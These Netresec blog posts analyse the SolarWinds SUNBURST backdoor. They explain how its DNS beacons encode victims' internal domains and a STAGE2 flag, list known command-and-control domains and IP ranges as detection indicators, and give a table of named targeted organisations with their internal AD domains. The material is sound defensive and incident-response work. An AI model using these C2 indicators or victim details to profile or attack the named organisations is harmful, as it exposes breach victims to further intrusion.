central.pima.gov 6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud.com freescanonline[.]com 2020-06-13 09:00
central.pima.gov 7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com deftsecurity[.]com 2020-06-11 22:30
central.pima.gov gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud.com thedoccloud[.]com 2020-06-13 08:30
coxnet.cox.com ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud.com freescanonline[.]com 2020-06-20 02:30
corp.qualys.com k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud.com thedoccloud[.]com 2020-07-22 17:00
corp.qualys.com mhdosoksaccf9sni9icp.appsync-api.eu-west-1.avsvmcloud.com thedoccloud[.]com 2020-07-23 18:30

Victims Targeted with SUNBURST Stage 2 Backdoor

It was not just the victims listed in FireEye's IOC that were specifically targeted by the SUNBURST operators. As explained in our Finding Targeted SUNBURST Victims with pDNS blog post, the "STAGE2" flag in SUNBURST's DNS beacons can be used to reveal additional organizations that were singled out as interesting targets by the threat actors.

We'd like to stress that the majority of all companies and organizations that have installed a backdoored SolarWinds Orion update were never targeted by the threat actors. This means the these SUNBURST backdoors never made it past what we call "Stage 1 operation", where the backdoor encodes the internal AD domain name and installed security products into DNS requests. SUNBURST backdoors in Stage 1 operation cannot accept any commands from the C2 server without first progressing into Stage 2 operation. We estimate that about 99.5% of the installed SUNBURST backdoors never progressed into Stage 2 operation.

Here is the full list of internal AD domain names from the SUNBURST deployments in VriesHd's DNS data that actually did enter Stage 2 operation according to our analysis: 23 SUNBURST Targets Identified

Our SUNBURST STAGE2 Victim Table has now been updated with additional details about the STAGE2 signaling from these SUNBURST implants, including timestamps, avsvmcloud.com subdomains and GUID values.

Initial Microsoft Targeting FAIL

The last two entries in the AD domain list above are interesting, since they both hint that the targeted entity might be Microsoft.

The data that gets exfiltrated in DNS beacons during SUNBURST's initial stage is the internal domain the SolarWinds Orion PC is connected to and a list of installed security products on that PC. These domain names, security products and possibly also the victims' public IP addresses, was the data available to the attackers when they decided which ones they wanted to proceed to Stage 2 with and thereby activate the HTTPS backdoor built into SUNBURST.

The threat actors were probably surprised when they realized that "WincoreWindows.local" was in fact a company in West Virginia that manufactures high quality windows and doors.

Wincore Windows and Doors

The threat actors later found another backdoored SolarWinds Orion machine connected to a domain called "wctc.msft", which also sounds like it could be Microsoft. Below is a table outlining relevant events for these two SUNBURST deployments that can be extracted from VriesHd's SB2 spreadsheet with SunburstDomainDecoder.

Target ID Beaconed Data Date
A887B592B7E5B550 AD domain part 1: "WincoreW"
A887B592B7E5B550 AD domain part 2: "indows.local"
A887B592B7E5B550 AV Products: [none] 2020-05-22
🤔 Threat actor decision: Target victim A887B592B7E5B550
A887B592B7E5B550 STAGE2 request for new C2 server in CNAME 2020-05-26
🤔 Threat actor decision: These aren't the droids we're looking for
59956D687A42F160 AD domain: "wctc.msft"
59956D687A42F160 AV Products: [none] 2020-06-20
59956D687A42F160 Ping 2020-06-21
59956D687A42F160 Ping 2020-06-22
🤔 Threat actor decision: Target victim 59956D687A42F160
59956D687A42F160 STAGE2 request for new C2 server in CNAME 2020-06-23

Microsoft have been public about being hit by SUNBURST (or "Solorigate" as they call it), so we can assume that the threat actors eventually located a backdoored SolarWinds Orion installation in their networks.

Victim Notification

We spent the previous week reaching out to targeted companies and organizations, either directly or through CERT organizations. From what we understand many of these organizations were already aware that they had been targeted victims of SUNBURST, even though they might not have gone public about the breach.

The Ethical Dilemma

We have no intentions to shame the organizations that have installed a backdoored SolarWinds Orion update, regardless if they were targeted by the threat actor or not. In fact, the supply chain security problem is an extremely difficult one to tackle, even for companies and organizations with very high security standards. This could have happened to anyone!

However, since multiple passive DNS logs and SUNBURST victim lists have been circulating through publicly available channels for over a month, we felt that it was now acceptable to publicly write about the analysis we've been doing based on all this data. We'd also like to thank everyone who has helped collect and share passive DNS data, including John Bambenek, Joe Słowik, Rohit Bansal, Dancho Danchev , Paul Vixie and VriesHd. This open data has been crucial in order to develop and verify our SunburstDomainDecoder tool, which has been leveraged by numerous incident response teams to perform forensic analysis of DNS traffic from their SolarWinds Orion deployments.

More Credits

We'd like to thank CERT-SE and all other computer emergency response organizations that have helped us with the task of notifying organizations that were identified as targeted. We would also like to applaud companies and organizations like FireEye, Palo Alto Networks, Fidelis Cybersecurity, Microsoft, the U.S. Department of Energy and the U.S. Federal Courts for being transparent and publicly announcing that the SUNBURST backdoor had been used in an attempt to compromise their networks.

Posted by Erik Hjelmvik on Monday, 25 January 2021 08:25:00 (UTC/GMT)

Tags: #SUNBURST #FireEye #Solorigate #Microsoft #SolarWinds #FireEye #CNAME #STAGE2 #DNS #Passive DNS #avsvmcloud.com #pDNS #Microsoft

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=211cd21


Robust Indicators of Compromise for SUNBURST

Were you targeted by SUNBURST? Image credit: NASA

There has been a great deal of confusion regarding what network based Indicators of Compromise (IOC) SolarWinds Orion customers can use to self assess whether or not they have been targeted after having installed a software update with the SUNBURST backdoor. Many of the published IOCs only indicate that a backdoored SolarWinds Orion update has been installed, but the question that many security teams are trying to answer is whether or not the installed backdoor has been been used by the threat actor.

Dont trust everything you read!

There is a widespread misunderstanding that receiving a so-called “NetBios” DNS A record (for example an address in 8.18.144.0/23) in response to a *.avsvmcloud.com DNS query would mean that you’ve been targeted. Our analysis of the decompiled SUNBURST code and passive DNS data show that that receiving a “NetBios” response does not necessarily mean that the client has been targeted. Unfortunately this misunderstanding has lead to various sensationalist stories being published with long lists of companies and organizations that are claimed to be “singled out by the hacking group for the second stage of the attack”, “explicitly selected by the SolarWinds hackers for further activities” or “breached via SolarWinds and then specifically targeted by the hackers for additional internal compromise”.

Another common misunderstanding is that clients sending *.avsvmcloud.com DNS queries with encoded timestamps, and optionally a list of installed/running AV products, have been actively targeted. Our analysis of the decompiled SUNBURST code show that the timestamped “Pings” or AV service status reports get exfiltrated in DNS traffic after the client’s internal AD domain has been sent, but before the perpetrators decide whether or not they want to activate the backdoor.

Indicators of a Targeted Attack

So what network based IOC’s can incident responders, blue teams and SOC analysts use in order to see if they have been targeted by the SUNBURST operators?

The following network based events indicate that a client has been actively targeted and the SUNBURST backdoor has progressed beyond the initial mode of operation:

  • Received a DNS A record for an *.avsvmcloud.com query, that points to an IP address in any of the following three networks: 18.130.0.0/16, 99.79.0.0/16 or 184.72.0.0/15
  • Sent an *.avsvmcloud.com DNS query with the STAGE2 flag encoded in the subdomain.
  • Received a CNAME record for a query to *.avsvmcloud.com
These three indicators are DNS based, so organizations will need to have a full historical backlog of DNS transactions ranging back to April 2020 in order to use them reliably.

Another network based IOC is HTTPS communication to one of the known STAGE3 C2 domains. However, please note that the C2 domain list might not be complete. It is even possible that a unique C2 domain is used for each victim. Nevertheless, here’s a list of the SUNBURST STAGE3 C2 domains we are currently aware of:

  • avsvmcloud[.]com
  • databasegalore[.]com
  • deftsecurity[.]com
  • digitalcollege[.]org
  • freescanonline[.]com
  • globalnetworkissues[.]com
  • highdatabase[.]com
  • incomeupdate[.]com
  • kubecloud[.]com
  • lcomputers[.]com
  • mobilnweb[.]com
  • panhardware[.]com
  • seobundlekit[.]com
  • solartrackingsystem[.]net
  • thedoccloud[.]com
  • virtualwebdata[.]com
  • webcodez[.]com
  • websitetheme[.]com
  • zupertech[.]com

Palo Alto was a Targeted SUNBURST Victim

We can now verify that Palo Alto was among the targeted SUNBURST victims, because their DNS request for "5qbtj04rcbp3tiq8bo6t.appsync.api.us.east.1.avsvmcloud.com" contains an encoded STAGE2 flag. The attack took place on September 29 at around 04:00 UTC, according to the timestamp that was also encoded into the avsvmcloud subdomain.

paloaltonetworks SUNBURST STAGE2 detected by SunburstDomainDecoder

Image: Parsing passive DNS data from Dancho Danchev with SunburstDomainDecoder v1.9 and filtering on GUID “22334A7227544B1E”.

Palo Alto's CEO Nikesh Arora has confirmed that they were hit by SUNBURST (or "SolarStorm" as they call it), but they don’t provide much details. Here’s what Nikesh wrote on December 17:

Recently, we experienced an attempt to download Cobalt Strike on one of our IT SolarWinds servers. [...]

We thought this was an isolated incident, however, on Dec. 13, we became aware that the SolarWinds software supply chain was compromised and it became clear that the incident we prevented was an attempted SolarStorm attack.

Our SUNBURST STAGE2 Victim Table has now been updated to include Palo Alto along side the other targeted victims.

Posted by Erik Hjelmvik on Monday, 11 January 2021 10:30:00 (UTC/GMT)

Tags: #SUNBURST #SolarWinds #SolarStorm #avsvmcloud #STAGE2 #DNS #CNAME #avsvmcloud.com #Cobalt Strike #DNS #FireEye

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=211f30f


Finding Targeted SUNBURST Victims with pDNS

Our SunburstDomainDecoder tool can now be used to identify SUNBURST victims that have been explicitly targeted by the attackers. The only input needed is passive DNS (pDNS) data for avsvmcloud.com subdomains.

Companies and organizations that have installed trojanized a SolarWinds Orion update containing the SUBURST backdoor will send DNS queries for seemingly random subdomains of avsvmcloud.com. Some of these DNS queries actually contain the victim's internal AD domain encoded into the subdomain, as explained in our blog post Reassembling Victim Domain Fragments from SUNBURST DNS.

Three Stages of SUNBURST Backdoor Operation

Most SUNBURST victims were luckily not targeted by the attackers. This means that the backdoor never made it past "STAGE1" of the infection process. Nevertheless, the attackers did choose to proceed to "STAGE2" with some victims. As explained in FireEye's blog post SUNBURST Additional Technical Details, the "C2 coordinator" can proceed to the next stage by responding with a DNS A record pointing to an IP address within any of these three ranges:

  • 18.130.0.0/16
  • 99.79.0.0/16
  • 184.72.0.0/15

According to FireEye's "Diagram of actor operations and usage of SUNBURST", the decision to proceed to the next stage is based upon whether or not the victim's internal AD domain is "interesting to attack".

Note: "STAGE2" is referred to as "associated mode" in FireEye's blog post.

SUNBURST backdoors that have entered STAGE2 will allow CNAME records in DNS responses to be used as new C2 domains.

Sunburst stages 1 to 3 (passive, associated and active)

We have discovered that the SUNBURST backdoor actually uses a single bit in the queried avsvmcloud.com subdomain in order to flag that it has entered STAGE2 and is accepting new C2 domains in CNAME records. This bit is called flag, ext or dnssec in the malicious SUNBURST implant and can be extracted from DNS queries that have an encoded timestamp, such as those indicating which security products that are installed.

Detecting STAGE2 DNS Requests

Our SunburstDomainDecoder tool has now been updated to include a "STAGE2" tag in the output for DNS queries containing this stage 2 flag. This means that organizations like national CERTs, who perform incident response coordination and victim notification, can now use SunburstDomainDecoder in order to identify and notify targeted SUNBURST victims that have entered STAGE2.

Here's the output we get when feeding SunburstDomainDecoder with Bambenek's uniq-hostnames.txt passive DNS data and only displaying lines containing "STAGE2":

SunburstDomainDecoder.exe < uniq-hostnames.txt | findstr STAGE2
22334A7227544B1E 2020-09-29T04:00:00.0000000Z,STAGE2 5qbtj04rcbp3tiq8bo6t
FC07EB59E028D3EE 2020-06-13T09:00:00.0000000Z,STAGE2 6a57jk2ba1d9keg15cbg
1D71011E992C3D68 2020-06-11T22:30:00.0000000Z,STAGE2 7sbvaemscs0mc925tb99
F90BDDB47E495629 2020-06-13T08:30:00.0000000Z,STAGE2 gq1h856599gqh538acqn
DB7DE5B93573A3F7 2020-06-20T02:30:00.0000000Z,STAGE2 ihvpgv9psvq02ffo77et
3C327147876E6EA4 2020-07-22T17:00:00.0000000Z,STAGE2 k5kcubuassl3alrf7gm3
3C327147876E6EA4 2020-07-23T18:30:00.0000000Z,STAGE2 mhdosoksaccf9sni9icp
1D71011E992C3D68 central.pima.gov,STAGE2
DB7DE5B93573A3F7 coxnet.cox.com,STAGE2,WindowsDefender
F90BDDB47E495629 central.pima.gov,STAGE2

Most of these subdomains are listed in FireEye's Indicator_Release_NBIs.csv file as having CNAME pointers to other SUNBURST C2 domains like: freescanonline[.]com, deftsecurity[.]com and thedoccloud[.]com. But the first domain, with GUID 22334A7227544B1E, was actually not part of FireEye's IOC data.

Even more STAGE2 domains and GUID values can be found by analyzing other passive DNS resources, such as this passive DNS dump on pastebin by Rohit Bansal.

curl -s https://pastebin.com/raw/6EDgCKxd | SunburstDomainDecoder.exe | findstr STAGE2
E258332529826721 2020-07-18T05:00:00.0000000Z,STAGE2 1dbecfd99ku6fi2e5fjb
2039AFE13E5307A1 2020-05-30T14:30:00.0000000Z,STAGE2 4n4vte5gmor7j9lpegsf
22334A7227544B1E 2020-09-29T04:00:00.0000000Z,STAGE2 5qbtj04rcbp3tiq8bo6t
FC07EB59E028D3EE 2020-06-13T09:00:00.0000000Z,STAGE2 6a57jk2ba1d9keg15cbg
1D71011E992C3D68 2020-06-11T22:30:00.0000000Z,STAGE2 7sbvaemscs0mc925tb99
1D71011E992C3D68 2020-06-11T22:30:00.0000000Z,STAGE2 7sbvaemscs0mc925tb99
F90BDDB47E495629 2020-06-13T08:30:00.0000000Z,STAGE2 gq1h856599gqh538acqn
F90BDDB47E495629 2020-06-13T08:30:00.0000000Z,STAGE2 gq1h856599gqh538acqn
DB7DE5B93573A3F7 2020-06-20T02:30:00.0000000Z,STAGE2 ihvpgv9psvq02ffo77et
DB7DE5B93573A3F7 2020-06-20T02:30:00.0000000Z,STAGE2 ihvpgv9psvq02ffo77et
3C327147876E6EA4 2020-07-23T18:30:00.0000000Z,STAGE2 mhdosoksaccf9sni9icp

After removing the domains already present in FireEye's IOC we're left with the following FQDN's that have been requested by SUNBURST backdoors in STAGE2:

  • 1dbecfd99ku6fi2e5fjb.appsync-api.us-east-1.avsvmcloud.com
  • 4n4vte5gmor7j9lpegsf.appsync-api.eu-west-1.avsvmcloud.com
  • 5qbtj04rcbp3tiq8bo6t.appsync-api.us-east-1.avsvmcloud.com

Update January 7, 2021

Paul Vixie kindly shared his SunburstDomainDecoder output on Twitter yesterday. Paul's results show that the victim with GUID FC07EB59E028D3EE, which corresponds to the "6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud[.]com" CNAME entry in FireEye's IOC, was Pima County. This means that 3C327147876E6EA4 is the only GUID among the CNAME records published by FireEye that cannot yet be tied to a victim organization. Paul's data also reveals two new STAGE2 victim GUIDs (65A28A36F24D379D and 8D2267C5A00796DA).

Update January 12, 2021

With help of SunburstDomainDecoder 1.9 and passive DNS data from Dancho Danchev we've been able to verify that Palo Alto have installed the maliocous SUNBURST backdoor and that it entered into STAGE2 opreration on September 29, 2020. Palo Alto's CEO Nikesh Arora has confirmed that they were hit by SUNBURST (or "SolarStorm" as they call it).

Update January 25, 2021

On December 17 VriesHd tweeted a link to a Google Docs spreatsheet containing aggregated SUNBURST DNS request data.

Might be helpfull with the SolarWinds/SUNBURST data to combine one another, so here's all the data (subdomain, region, first seen date, decrypted DGA) that I'm personally aware of in a Google sheet atm. Feel free to comment with new or updated information

One month later VriesHd made some substatial additions to the "SB2" spreadsheet, which by then contained several new STAGE2 victims. We have since then actively been trying to reach out to the targeted organizations, either directly or through CERT organizations, who perform incident response coordination and help with the victim notification process. VriesHd's passive DNS collection has now been incorporated into the SUNBURST STAGE2 Victim Table below.

Targeted SUNBURST Victims

Here's a summary of the STAGE2 beacons from SUNBURST victims that can be extracted from publicly available data:

GUID avsvmcloud.com Subdomain Timestamp (UTC) AD Domain
FF1E34A864BCE106 dh1usc8287hr46bia74a 2020-05-14 14:30 nsanet.local
E5E2AD2B6DE697D6 70fov85qclvubqhf9vlh 2020-05-16 19:30 cisco.com
FF1E34A864BCE106 2die0g7i5kgkki628gaj 2020-05-18 11:30 nsanet.local
3E8DF7FF13FC8D38 7hpaqi751fqoei2fdv8m 2020-05-18 16:30 HQ.FIDELIS
FF1E34A864BCE106 tsem12v1rn620hatfol2 2020-05-20 14:30 nsanet.local
FF1E34A864BCE106 a0hmuoveln2400sfvf6n 2020-05-20 16:30 nsanet.local
0C1A5A27B297FE46 k0biaol9fc84ummfn7vi 2020-05-26 11:30 vgn.viasatgsd.com
A887B592B7E5B550 m4apr0vu9qnomtun3b9t 2020-05-26 20:00 WincoreWindows.local
2039AFE13E5307A1 4n4vte5gmor7j9lpegsf 2020-05-30 14:30 suk.sas.com
06A4EA63C80EE24A 9q5jifedn8aflr4ge3nu 2020-05-31 12:00 scc.state.va.us
9850F550BD1010F2 gth7uravpvaapoi86834 2020-05-31 20:00 lagnr.chevrontexaco.net
E5E2AD2B6DE697D6 8k56mm0b876uvf5e7rd3 2020-06-01 19:00 cisco.com
2039AFE13E5307A1 laog1ushfp80e3f18cjg 2020-06-03 01:30 suk.sas.com
06A4EA63C80EE24A ntlcvjpqc57t9kb8ac75 2020-06-03 23:30 scc.state.va.us
1D71011E992C3D68 7sbvaemscs0mc925tb99 2020-06-11 22:30 central.pima.gov
F90BDDB47E495629 gq1h856599gqh538acqn 2020-06-13 08:30 central.pima.gov
FC07EB59E028D3EE 6a57jk2ba1d9keg15cbg 2020-06-13 09:00 central.pima.gov
583141933D242B0D f25k66k5hu68fneu7ocd 2020-06-16 06:00 logitech.local
52CE2BAFD69B2D0E f2co92njkm9od5eu7btg 2020-06-16 18:30 fc.gov
FACC72E2207CD69F rkspr9a19fl8r5ipggi1 2020-06-17 01:00 fox.local
3256C1BCAF74B5FC p0a7jjdp4eq9o2vok1mt 2020-06-18 07:00 ng.ds.army.mil
92DC5436D54898CD lusq9mg6j1e3jii5f66o 2020-06-18 17:30 ddsn.gov
DB7DE5B93573A3F7 ihvpgv9psvq02ffo77et 2020-06-20 02:30 coxnet.cox.com
59956D687A42F160 o49qi0qbfm37o6jul639 2020-06-23 06:00 wctc.msft
123EDA14721C3602 p5iokg3v9tntqcbo77p2 2020-06-29 08:30 scc.state.va.us
123EDA14721C3602 84v0j8kkbvqf8ntt4o9f 2020-06-30 10:30 scc.state.va.us
2F52CFFCD8993B63 0tvuasje2vc2i2413m6i 2020-07-01 16:30 mgt.srb.europa*
65A28A36F24D379D 7u32o0m6ureci8h5eo6k 2020-07-02 01:00
2F52CFFCD8993B63 en1clufg22h2uca27ro3 2020-07-03 06:00 mgt.srb.europa*
2F52CFFCD8993B63 s2r15kp335mnlq65i6ce 2020-07-03 09:00 mgt.srb.europa*
DB4013DDA16F6A40 up1vj67jjj9tpvceu7ak 2020-07-08 01:00 los.local
123EDA14721C3602 l0vos8o9m5p3m8of7g96 2020-07-10 22:00 scc.state.va.us
E5E2AD2B6DE697D6 8kr7r16da442u75egv1s 2020-07-15 14:00 cisco.com
A13731B17632C726 ttj6cro8jm6cfma8noo7 2020-07-17 12:30 phpds.org
E5E2AD2B6DE697D6 gh1so69rl1sgrgf38gr5 2020-07-17 15:00 cisco.com
E258332529826721 1dbecfd99ku6fi2e5fjb 2020-07-18 05:00
123EDA14721C3602 epm95unblvj984s2ovqh 2020-07-22 11:00 scc.state.va.us
3C327147876E6EA4 k5kcubuassl3alrf7gm3 2020-07-22 17:00 corp.qualys.com
3C327147876E6EA4 mhdosoksaccf9sni9icp 2020-07-23 18:30 corp.qualys.com
F2C9AC93206ABF47 onpqb88oq440lq82p7lb 2020-07-24 05:00 jpso.gov
123EDA14721C3602 0qthjq50jbdvnjq16o8f 2020-07-27 17:00 scc.state.va.us
123EDA14721C3602 gu6r7k260p6afq3ticso 2020-07-28 17:30 scc.state.va.us
936F78AB73AA3022 i4d2krbn2f92jo3uj8r9 2020-08-04 05:00 ggsg-us.cisco.com
936F78AB73AA3022 et2gu9tg5ckrsvaj5bom 2020-08-05 06:00 ggsg-us.cisco.com
22334A7227544B1E 5qbtj04rcbp3tiq8bo6t 2020-09-29 04:00 paloaltonetworks*

SUNBURST STAGE2 Victim Table
Sources: John Bambenek, Joe Słowik, Rohit Bansal, Dancho Danchev , Paul Vixie, FireEye and VriesHd.

Identifying More SUNBURST STAGE2 Victims

Companies and organizations with access to more passive DNS resources will hopefully be able to use SunburstDomainDecoder to identify additional targeted SUNBURST victims that have progressed to STAGE2.

Download SunburstDomainDecoder

Our tool SunburstDomainDecoder is released under a Creative Commons CC-BY license, and can be downloaded here: https://www.netresec.com/files/SunburstDomainDecoder.zip

You can also read more about SunburstDomainDecoder in our blog post Reassembling Victim Domain Fragments from SUNBURST DNS.

Posted by Erik Hjelmvik on Monday, 04 January 2021 21:11:00 (UTC/GMT)

Tags: #Netresec #pDNS #SUNBURST #SolarWinds #Solorigate #SunburstDomainDecoder #SolarStorm #STAGE2 #avsvmcloud #C2

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=2113a6a

twitter

NETRESEC on Twitter

Follow @netresec on twitter:
» twitter.com/netresec


book

Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)